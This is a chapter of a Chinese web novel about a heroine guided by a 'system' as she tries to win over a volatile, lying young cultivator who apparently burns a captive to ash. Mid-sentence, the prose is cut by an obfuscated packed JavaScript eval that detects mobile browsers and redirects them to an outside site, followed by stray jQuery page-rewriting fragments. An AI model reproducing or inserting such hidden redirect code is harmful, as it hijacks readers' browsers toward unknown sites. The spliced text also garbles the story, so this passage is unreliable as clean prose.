黎星斓看了眼,手臂上有一块被火燎过的痕迹,疼是疼的,但又没那么疼,算是在可以忍受的范围内。
她沉吟:“得想个办法跟小芯姑娘解释。”
冰凉感漫了上来……
黎星斓抬眸,张云涧轻轻握住了她的手腕,他的表情十分平静,看不出喜怒。
但晴雨表上显示:阴,起风。
系统忽然出声【张云涧因七号攻略者的伤情而烦躁且出现杀意,是攻略取得进展的表现,请七号攻略者再接再厉】
黎星斓不语,她也是这么认为的。
晴雨表骗不了人,显然张云涧有些在意她。
但也不能盲目乐观,毕竟对于感情系统混乱的张云涧来说,这份“在意”到底出自哪种感情也说不准。
玩具掉了个零件,新车出现刮擦,朋友遭遇危险,或者爱人受到伤害,都可以在意,都可以生气,但并不可同日而语。
张云涧整只手轻覆了上去。
黎星斓:“嘶——”
张云涧问:“疼吗?”
“刚那一下子有点疼,现在还好。”
“疼了你为什么不哭?”
黎星斓秒懂,笑了笑,认真答他:“因为还没到那个程度,如果我像你受的伤那样重,那样疼,我早哭到没力气了,我可不会隐藏或者刻意压抑情绪。”
张云涧神情略有些思索。
他掌心溢出水灵力,冰冰凉凉的,黎星斓感觉自己的伤口像凉水流过,渐渐不疼了,连伤口也肉眼可见的在愈合。
她露出讶异:“张云涧,你哪来的灵力可用?还是说,已经恢复一些了?”
张云涧收回手,她的灼伤已完全好了,光洁如新,看不出一点痕迹,徒留衣服上的破损突兀的在那里。
“嗯……勉强恢复了一些。”
“那太好了,等会你可以自己走,我正有事要和你……”
“咳咳咳——”张云涧垂首掩唇咳嗽起来,方才还正常的脸色忽而苍白,从指缝间溢出刺眼的红。
黎星斓眼皮一跳,忙凑上前,惊得小鸟振翅飞远,小松鼠也窜到了窗台上。
“怎么……方才不还好好的?”
少年长长的眼睫垂落,看不清眼底情绪。
“只攒了一点点灵力……用完了,气海有些不稳……咳咳……”
【七号攻略者,这应该是苦肉计,请保持清醒,正确应对】
黎星斓心里想笑,她猜到了,否则不太会这么巧,她刚说让他自己走,他就伤势复发了。
只是他的确状态欠佳,不管出于何种目的,给她治好灼伤是实打实。
“肯为我费心思就好。”她如此回复系统。
她将那颗砸破窗户的石头丢到一旁,轻轻拍了拍他的背,看他好一些了,便去湿了帕子来,给他擦嘴角的血迹。
“好些了吗?不该将这点灵力给我用的。”她轻声说。
张云涧脸色苍白地靠在竹椅上,漫不经心地抬眸:“你又不哭,没意思,还不好看。”
这是出于什么情感呢?
对于新玩具的珍惜吗?
黎星斓有些拿捏不准。
或许将来自己因为什么疼到落泪,才能观测到他的反应。
不过她当然也不会为了这项研究而主动受伤。
“你想看我哭吗?”她拉过他染血的手,用帕子细细擦拭,“若是落泪,我也未必不能挤一挤。”
“那很无趣。”
张云涧闻言,倒兴致缺缺。
“手上的伤是怎么回事?”
黎星斓握着他的手指,向他示意手背上的淤青。
他手玉白修长,骨感分明,实在好看,于是那块淤青便也显得格外晃眼。
“石头砸的。”
他低声道,垂眸时墨睫扇了扇,似乎受了委屈。
“你是说那块石头?从窗户砸进来砸到你了?”
黎星斓瞥了一眼,露出诧异:“是谁砸的?”
“一群小孩,好奇屋里有什么,又打不开窗,便用石头砸破了,还好我并不正对窗下,便只被砸到了手。”
仿佛早就准备好了台词,就等她问起,张云涧回答得很流畅。
他独自在屋里,一直在无聊地想,要如何将那颗石头砸到地上,又折回来砸到他手背,他不闪不躲,还任由这道浅伤留到现在的事形容的更合理些,才能让黎星斓相信。
黎星斓听完,只是轻轻笑了,问:“哦,所以你是说那颗石头砸到地上又弹起来砸到你手,恰好你的灵力微弱所以留下淤青,对吗?”
张云涧脸不红心不跳,那双乖巧澄澈的眼此刻漾起浅笑,宛如雨燕掠过湖面。
“对,黎星斓,你真聪明。”
“那群小孩呢?”
“见到我就跑了。”
黎星斓忍不住弯唇:“跑的时候还不小心把腿跌断了对吗?”
张云涧有些好奇:“你看见了么?”
“回来时恰好看见了。”她揉了揉那块淤青,“给他们一个教训是应该的。”
还好只是小孩子,但她的确没想到,她只是离开一会儿,张云涧便险些被伤害,尽管这部分的伤害相对渺小,也并不一定出自于主观恶意,但过度好奇或无知,所造成的无心之失,也可以与恶意比肩。
张云涧歪着脑袋看她,她蹲在他面前,握着他的手,只是安静地揉着那块淤青,没有再说话。
他本想好了,要怎么编造这个谎言,来维系他的表演。
但她没问。
她好像,就这样相信了。
相信他这个拙劣的谎言吗?
还是在配合他幼稚的表演?
嗯——又或者是,对他这些并不感兴趣呢。
没意思……他忽然意兴阑珊了。
黎星斓不说话时,只是在观察晴雨表。
张云涧的心情真的很奇怪,跳来跳去。
一会儿转晴,一会儿转阴。
哪怕她一个字没说,它也能自己在那跳。
黎星斓抬头看他,正对上他目光,她眼里的探询之色毫不掩饰。
“张云涧,你现在在想什么呢?”
“什么也没想。”
少年答了句,无波无澜。
情绪不对。
晴雨表上果然已经停在阴天了。
黎星斓复盘了下从进屋开始的经过。
应该不是为了自己的伤,她自认和张云涧的关系还没处到这个地步,何况张云涧的情感发展也和普通人不一样,不是线性的。
应该也不是为了那群小孩的恶作剧,若是为他们生气,那她就不会有机会在回程中见到他们了。
那是因为什么?
唯一的不同之处,是那颗石头按照破窗的轨迹,不该砸到他,但他说砸到了,还留下淤青。
显然是刻意为之。
她知道他刻意为之,因而并未拆穿,难道不对?
黎星斓时常扪心自问,自己是在进行一场情感攻略,还是硬核推理。
牛马想要获得真正自由,那么,代价是什么呢?
是张云涧。
“小骗子,跟我走吧,我带你去一个地方。”
她站起身,按了按有些发麻的腿,破罐破摔。
小骗子?
张云涧微微一怔,唇角忽然扬起。
她果然发现了,她就是故意的。
她这么聪明,一定是知道的。
“为什么叫我小骗子?”他展颜。
晴雨表:晴。
黎星斓:6。
叫他小骗子他反倒高兴,真是不可捉摸。
“张云涧,你自己反思一下为什么。”黎星斓俯下身,笑意盈盈地望着他此刻的虚弱模样,朝他伸出手,“现在,走啦。”
背着一个人比自己悄悄走到村口要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473170|168302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难一些,但黎星斓不想让任何人看见张云涧。
这对他没有什么好处,对村民也没什么好处。
于是她费了些功夫才绕到那间荒废的土地庙前。
她有时候也佩服自己的体力。
张云涧安静趴在她肩上,呼吸轻而缓,比林间的风还柔。
黎星斓没回头也知,他的心情颇为愉悦。
她将张云涧放下来,扶着他站好,他依然要软软地向她倚倒。
她手动拂去他肩上落的花瓣,扶着他肩:“跟我进来,别被人看见了。”
张云涧被她半拢着,弯腰进了庙内,屋顶低矮,他勉强才能站直。
“黎星斓,我们现在是偷情吗?”
黎星斓险些呛到:“……哈?”
“偷偷摸摸地一起行动,在凡人中的叫法,不是偷情吗?”
他眨了眨眼,语气很真诚。
词汇量不少,用法倒真是很“张云涧”了。
和他的情绪一样,什么牌都有,但抽到哪张打哪张,毫无章法。
“占了个‘偷’字,哪来的‘情’字?”
黎星斓拉开水缸,拉着他,“张云涧,跳下去,下面有……”
“咦?下面有一条灵溪?”
干净的笑声不带一丝杂质,从地底下传来。
黎星斓甚至一句话还没说完。
这么信任她?
还是信任他自己的实力?
不过明明前一刻才站都站不稳,眼下都能直接往下跳了。
张云涧说谎从不考虑圆谎。
黎星斓将绳子放下去,又感觉自己也没必要下去。
便站在树洞口往下说道:“张云涧,彭真也在下面,不过被我打晕绑了,他就是昨天晚上偷袭你的人。”
“是么?”
张云涧的声音若隐若现的,不是很清楚。
黎星斓竖起耳朵听了会儿,没听见什么动静,推测彭真还未醒。
她说:“他若醒了,你先不要管他,只管在下面打坐疗伤,试试有没有用,若是有用,我们先回去,晚上再来,免得小芯姑娘提前回来了。”
过了会儿,张云涧的声音才传上来。
“黎星斓,你不下来么?”
黎星斓道:“我在上面帮你望风,免得有人打扰。”
她不确定这个树洞是否只有彭真一人知晓,万一有人来找彭真,直接进入洞内,到时候有些难办。
若在外面,她还能及时出手给人打晕了拦下来。
“底下,没有人呀。”
张云涧用了神识传音,清冽声音如玉石击响在她耳畔。
没人?
不可能啊。
黎星斓眉头一皱,她绑得很结实,还折断了他的手指,又扯了绳子上来,一往一返时间也不久,彭真这么快就逃了?
万一他逃了可就麻烦了。
她还是想留在村里的,谁知道出了村会不会遇见修仙者。
何况此处离空日城那么近,万一张云涧已成了凌天宗通缉犯,以他如今状态,岂不是出去送死?
“我看看。”
她攀住绳子跳了下去。
闪烁着蓝色荧光的树洞内,少年在水边盘膝而坐,正托腮望着她笑。
“你看,真没人呢。”
嗯?……彭真呢?
黎星斓一眼就扫完了不大的地底树洞,确实只有张云涧一个人。
她抬头看了眼彭真大概掉下来的位置,借着荧光仔细搜痕迹,只看见了一小撮灰白色粉尘,在相对昏暗的环境里有些突兀。
“这是什么?”
她蹲下来捻起轻搓,询问系统。
系统:【这是人的骨灰】
她手一僵,抬头看去,少年墨发随意散着,神情在粼粼波光中显得柔和慵懒。
他唇角噙着浅浅笑意,和善得不能再和善,温良得不能再温良。